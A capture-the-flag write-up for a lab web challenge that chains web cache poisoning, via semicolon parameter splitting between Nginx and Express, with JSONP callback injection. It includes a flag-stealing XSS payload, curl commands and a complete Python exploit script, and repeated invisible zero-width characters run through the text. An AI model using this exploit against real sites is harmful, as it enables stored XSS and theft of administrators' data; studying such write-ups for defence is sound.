← Back to Writeups
CUSTOMMediumWeb

PublishWave — XSS via HTTP Cache Poisoning

XESXOR9/10/20265 min read
#web#custom#medium#cache_poisoning_via_unkeyed_pa#jsonp_callback_injection#same_origin_exfiltration#semicolon_parameter_splitting#linux

PublishWave — XSS via HTTP Cache Poisoning

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-08 | Status: Solved Techniques: cache_poisoning_via_unkeyed_parameter, jsonp_callback_injection, same_origin_exfiltration, semicolon_parameter_splitting

Summary

Task: PublishWave CMS with JSONP localization endpoint behind Nginx cache that excludes UTM params from cache keys. Solution: Exploit semicolon parameter splitting discrepancy between Nginx and Express to inject malicious callback via utm_content, poisoning the cache to achieve stored XSS and exfiltrate admin flag.

PublishWave — XSS via HTTP Cache Poisoning — HackAdvisor Lab 184

Description

PublishWave is a content management platform used by digital publishers to manage and serve articles to readers worldwide. The platform implements regional content personalization through a JSONP-style localization endpoint and uses aggressive caching to optimize performance for high-traffic pages and static resources. As a security researcher, you've been engaged to assess PublishWave's security posture. The application serves a large audience and an administrator regularly reviews the site's homepage. Your goal is to find a way to execute JavaScript in the context of the admin's browser session and retrieve their secret flag. Pay close attention to how the application caches resources and how parameters are handled across different layers. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A CMS platform with a JSONP localization endpoint (/js/localize.js?callback=...) behind an Nginx caching layer. The admin bot periodically visits the homepage, which loads the localized script. The goal is to achieve XSS in the admin's browser and exfiltrate the flag from /api/admin/flag.

Credentials: user@test.com / password123

Analysis

Application Architecture

  • Backend: Express.js (Node.js)
  • Reverse proxy / cache: Nginx 1.25.5
  • Key endpoints:
    • /js/localize.js?callback=setRegionCookie — JSONP endpoint returning setRegionCookie({region data...});
    • /api/feedback — POST to submit feedback (triggers admin bot to visit homepage)
    • /api/admin/flag — returns the flag (admin-only)
    • /feedback — page displaying recent feedback entries (readable by anyone)
  • Decoy flags embedded in HTML comments — must be ignored ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

JSONP Callback — Zero Sanitization

The /js/localize.js endpoint takes a callback parameter and wraps the JSON response with it. There is no validation or sanitization of the callback value — any JavaScript can be injected:

GET /js/localize.js?callback=alert(1)//
→ alert(1)//({region: "US", ...});

Caching Behavior

  • Responses include X-Cache: HIT/MISS header, confirming Nginx caching
  • Cache-Control: public, max-age=300 — 5-minute TTL
  • HTML pages are NOT cached; only static resources like /js/localize.js are cached
  • The about page reveals: "Our caching layer intelligently excludes analytics parameters (UTM tags, click IDs) from cache keys, ensuring marketing campaigns don't fragment your cache while maintaining high hit rates." ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The Critical Discrepancy: Semicolon Parameter Splitting

The two layers parse query strings differently:

LayerSemicolon handlingResult for utm_content=foo;callback=EVIL
Nginx cachePart of the valueSingle param: utm_content = foo;callback=EVIL
Express (qs)Parameter separatorTwo params: utm_content = foo, callback = EVIL

Since utm_content is excluded from the cache key, the entire utm_content=foo;callback=EVIL portion is invisible to the cache. The cache key only contains callback=setRegionCookie. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

But Express sees callback twice (setRegionCookie from the explicit param, and EVIL from the semicolon-split inside utm_content) and uses the last value — the attacker-controlled one.

Solution

Step 1: Craft the Cache Poisoning URL

GET /js/localize.js?callback=setRegionCookie&utm_content=foo;callback=<XSS_PAYLOAD>

Cache perspective:

  • Cache key: /js/localize.js?callback=setRegionCookie (utm_content excluded)
  • This maps to the same cache entry as the legitimate homepage request ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Express perspective:

  • Params: callback=setRegionCookie, utm_content=foo, callback=<XSS_PAYLOAD>
  • Last callback wins → response body: <XSS_PAYLOAD>({region data...});

Step 2: XSS Payload Design

The payload fetches the admin flag and exfiltrates it via the feedback endpoint (same-origin, no CORS issues):

javascript
fetch("/api/admin/flag").then(r=>r.json()).then(d=>fetch("/api/feedback",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({message:"FLAG:"+JSON.stringify(d)})}))/

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The trailing // comments out the ({region data...}); suffix to prevent syntax errors.

Step 3: Race the Cache TTL

The cache has a 300-second TTL. Continuously send the poisoned request. When the cache entry expires and the request is the first to hit the backend, the malicious response gets cached:

bash
# Poison request (repeated until cache miss + poison)
curl "https://TARGET/js/localize.js?callback=setRegionCookie&utm_content=foo;callback=ENCODED_PAYLOAD"

# Verify poisoning
curl "https://TARGET/js/localize.js?callback=setRegionCookie"
# Should return: fetch("/api/admin/flag")...  instead of setRegionCookie(...)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Trigger the Admin Bot

Once the cache is poisoned, submit feedback to make the admin visit the homepage:

bash
curl -X POST "https://TARGET/api/feedback" \
  -H "Content-Type: application/json" \
  -b "connect.sid=SESSION_COOKIE" \
  -d '{"message": "Please review homepage"}'

The admin's browser loads the homepage → fetches /js/localize.js?callback=setRegionCookie → gets the cached poisoned response → executes the XSS → fetches /api/admin/flag → POSTs the flag to /api/feedback. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Read the Exfiltrated Flag

Check the feedback page or API for the exfiltrated flag:

bash
curl "https://TARGET/api/feedback" -b "connect.sid=SESSION_COOKIE"
# Look for entry containing "FLAG:"

Full Exploit Script

python
#!/usr/bin/env python3
"""
PublishWave — XSS via HTTP Cache Poisoning
Exploits semicolon parameter splitting discrepancy between Nginx cache and Express.
"""
import requests
import time
import urllib.parse

URL = "https://TARGET.labs.hackadvisor.io"
COOKIES = {"connect.sid": "SESSION_COOKIE"}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# XSS payload: fetch admin flag, exfiltrate via feedback endpoint
PAYLOAD = (
    'fetch("/api/admin/flag")'
    '.then(r=>r.json())'
    '.then(d=>fetch("/api/feedback",'
    '{method:"POST",'
    'headers:{"Content-Type":"application/json"},'
    'body:JSON.stringify({message:"FLAG:"+JSON.stringify(d)})}))'
    '//'
)

encoded = urllib.parse.quote(PAYLOAD, safe='')
poison_url = f"{URL}/js/localize.js?callback=setRegionCookie&utm_content=foo;callback={encoded}"
check_url = f"{URL}/js/localize.js?callback=setRegionCookie"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print(f"[*] Starting cache poisoning...")
print(f"[*] Poison URL length: {len(poison_url)}")

for i in range(1, 700):
    try:
        r = requests.get(poison_url, timeout=5)
        xcache = r.headers.get('X-Cache', 'N/A')

        if 'fetch(' in r.text:
            print(f"[{i}] POISON HIT BACKEND! X-Cache: {xcache}")

            # Verify cache is actually poisoned
            time.sleep(0.3)
            check = requests.get(check_url, timeout=5)
            if 'fetch(' in check.text:
                print(f"\n[***] CACHE POISONED SUCCESSFULLY!")
                print(f"[*] X-Cache: {check.headers.get('X-Cache')}")
                print(f"[*] Response preview: {check.text[:150]}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

                # Trigger admin bot via feedback
                print(f"\n[*] Triggering admin bot...")
                fb = requests.post(
                    f"{URL}/api/feedback",
                    cookies=COOKIES,
                    json={"message": "Homepage formatting issue - please review"},
                    timeout=5,
                )
                print(f"[*] Feedback response: {fb.json()}")

                # Wait for admin to visit
                print(f"[*] Waiting 15 seconds for admin to visit homepage...")
                time.sleep(15)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

                # Check feedback for exfiltrated flag
                print(f"\n[*] Checking feedback for exfiltrated flag...")
                fb_api = requests.get(
                    f"{URL}/api/feedback", cookies=COOKIES, timeout=5
                )
                print(f"[*] API feedback: {fb_api.text[:500]}")
                break
            else:
                print(f"    Cache not poisoned yet (race lost), continuing...")

        if i % 30 == 0:
            check = requests.get(check_url, timeout=5)
            poisoned = 'fetch(' in check.text
            print(f"[{i}] X-Cache: {xcache} | Check: {check.headers.get('X-Cache')} | Poisoned: {poisoned}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

        time.sleep(0.5)
    except Exception as e:
        print(f"[{i}] Error: {e}")
        time.sleep(1)

print("\n[*] Done.")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍